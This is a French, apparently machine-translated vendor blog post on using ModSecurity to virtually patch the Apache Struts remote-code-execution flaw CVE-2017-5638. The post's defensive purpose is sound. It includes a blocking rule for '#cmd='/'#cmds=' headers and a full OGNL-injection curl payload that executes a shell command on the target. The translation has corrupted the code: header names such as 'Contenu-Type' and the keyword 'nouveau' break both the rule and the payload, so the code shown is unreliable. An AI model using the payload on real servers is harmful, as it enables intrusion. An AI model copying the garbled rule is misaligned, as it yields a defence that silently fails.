Utilisation de ModSecurity pour corriger virtuellement Apache Struts CVE-2017-5638

[ Éditeur – Le module WAF NGINX ModSecurity pour NGINX Plus est officiellement en fin de commercialisation depuis le 1er avril 2022 et passe en fin de vie à compter du 31 mars 2024 . Pour plus de détails, voir F5 NGINX ModSecurity WAF Is Transitioning to End-of-Life<.htmla> sur notre blog.]

De nombreuses vulnérabilités de sécurité sont trouvées dans les bibliothèques utilisées par le code d’application. Lorsqu’il n’est pas pratique de déployer rapidement un correctif sur le code d’une bibliothèque, vous pouvez utiliser ModSecurity pour intercepter un exploit, en « corrigeant virtuellement » le code affecté jusqu’à ce que vous puissiez mettre à niveau les bibliothèques concernées.

La vulnérabilité de la bibliothèque d'applications Apache Struts ( CVE-2017-5638 ), qui a conduit à la violation de 143 millions de comptes chez Equifax , est un exemple d'exploit qui peut être virtuellement corrigé. La signature de la vulnérabilité est la présence de chaînes #cmd= ou #cmds= dans les en-têtes HTTP Content-Type , Content-Disposition ou Content-Length . (Pour plus de détails, voir ci-dessous .)

En utilisant ModSecurity, nous pouvons créer un patch virtuel avec une règle simple qui recherche les chaînes malveillantes dans les en-têtes HTTP affectés :

SecRule REQUEST_HEADERS : Contenu-Type|REQUEST_HEADERS : Contenu-Longueur|REQUEST_HEADERS : Contenu-Disposition "@rx #cmds?=" "id : 5638, auditlog, log, deny, status : 403"

Nous définissons la règle avec SecRule , en fournissant trois paramètres :

1. Les en-têtes de requête à rechercher, sous la forme de trois variables REQUEST_HEADERS combinées par un OU
2. L'expression régulière compatible PERL (PCRE), telle que spécifiée par @rx , qui recherche les en-têtes de requête spécifiés pour les chaînes incluant #cmd= ou #cmds=
3. L'action à entreprendre

Si ModSecurity est configuré en mode de blocage actif , il supprime tout trafic correspondant au PCRE et déclenche ainsi la règle.

Découvrez comment commencer à utiliser NGINX et ModSecurity avec notre eBook : ModSecurity 3.0 et NGINX : Guide de démarrage rapide

Pourquoi Virtual Patch ?

Dans de nombreux cas, il est plus rapide de déployer une règle dans ModSecurity que de corriger le code affecté, de le tester à nouveau, puis de le déployer en production.

Prenons l’exemple de la vulnérabilité Apache Struts : étant donné que Struts est une bibliothèque d’applications et non un package de système d’exploitation, sa mise à jour dans un environnement de production d’entreprise peut prendre un certain temps. Dans le cadre de la mise à niveau vers une nouvelle version de Struts, chaque application dépendante de Struts doit être reconstruite et testée avec la dernière bibliothèque Struts. Une grande organisation peut avoir des centaines d’applications, chacune avec sa propre version de la bibliothèque d’applications Struts, la rendant vulnérable jusqu’à ce que chaque application soit mise à jour.

Avec la règle personnalisée ModSecurity en place, vous pouvez ensuite corriger le logiciel de production avec soin et selon un calendrier raisonnable, sans la pression d'être vulnérable. Une fois tous les logiciels concernés mis à jour, la règle personnalisée peut être mise hors service.

Comment fonctionne l'exploit CVE-2017-5638

Apache Struts CVE-2017-5638 est une vulnérabilité d'exécution de commande à distance (RCE). Ce type de vulnérabilité permet à l’attaquant d’exécuter des commandes arbitraires, telles que /bin/bash ou cmd.exe , sur les systèmes cibles. Grâce à cette capacité, l’attaquant peut alors rechercher des données sensibles dans le système de fichiers et le réseau, avec le même niveau d’accès que le serveur d’applications Java. Par exemple, si le serveur d’applications Java s’exécute en tant que root , l’attaquant dispose des privilèges root sur le système cible.

Selon le CVE officiel , la vulnérabilité se produit lorsqu'un attaquant envoie un en-tête HTTP Content-Type , Content-Disposition ou Content-Length mal formé. Apache Struts génère une exception lorsque ces en-têtes HTTP ne correspondent à aucune des valeurs attendues. Le problème se produit parce que le code de gestion des exceptions tente d’imprimer l’en-tête non échappé et non valide. (Dans ce contexte, « sans échappement » signifie que les commandes suspectes ne sont pas précédées de caractères qui les empêchent d’être exécutées – caractères d’échappement – comme cela se fait normalement lors de l’impression de code.)

L'attaquant peut placer une expression de bibliothèque de navigation de graphique d'objet (OGNL) dans l'en-tête Content-Type . OGNL a la capacité d'exécuter des commandes système. Lorsque l'en-tête non échappé et non valide est imprimé, l'expression OGNL est évaluée et toutes les commandes système dans l'expression OGNL sont exécutées.

Les exploits sont généralement une variante de la commande curl ci-dessous.

curl -H "Contenu-Type:%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))). ( #cmd= 'ls -ltr').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).( #cmds= (#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})) .(#p=nouveau java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" www.exemple.com

La syntaxe clé se trouve dans la seconde moitié de la commande : une instance de chacune des chaînes #cmd= et #cmds= (surlignées ci-dessus). Chacune des chaînes est suivie de la commande système à exécuter.

Résumé

La solution privilégiée est toujours de corriger immédiatement les logiciels vulnérables. Mais la mise à jour des logiciels de production peut prendre du temps et les mises à jour précipitées peuvent être risquées. Créer un patch virtuel pour les logiciels vulnérables avec ModSecurity peut faire gagner du temps.

Avec les correctifs virtuels, vous créez une règle ModSecurity personnalisée pour bloquer le trafic susceptible d'exploiter la vulnérabilité de sécurité, telle que CVE-2017-5638 . Ce faisant, vous protégez votre site contre l’attaque. Vous pouvez ensuite appliquer les correctifs aux serveurs de production avec soin et selon un calendrier raisonnable, sans craindre d'être victime d'une quelconque attaque entre-temps.

Si vous souhaitez en savoir plus sur ModSecurity et NGINX ModSecurity WAF, veuillez télécharger notre eBook, ModSecurity 3.0 et NGINX : Guide de démarrage rapide .

Ressources

• CVE-2017-5638 – L’avis officiel du CVE
• CVE-2017-5638 : Anatomie de la vulnérabilité d'Apache Struts – Un aperçu précieux de la vulnérabilité
• Bulletin de sécurité Apache Struts S2‑045 – Page Apache Struts sur la vulnérabilité de sécurité, avec une solution de contournement
• Commentaire d'un utilisateur sur le forum ArsTechnica – Explication des raisons pour lesquelles la mise à jour d'Apache Struts n'est pas facile

[Le module WAF NGINX ModSecurity pour NGINX Plus est officiellement en fin de commercialisation depuis le 1er avril 2022 et passe en fin de vie à compter du 31 mars 2024 . Pour plus de détails, voir F5 NGINX ModSecurity WAF Is Transitioning to End-of-Life<.htmla> sur notre blog.]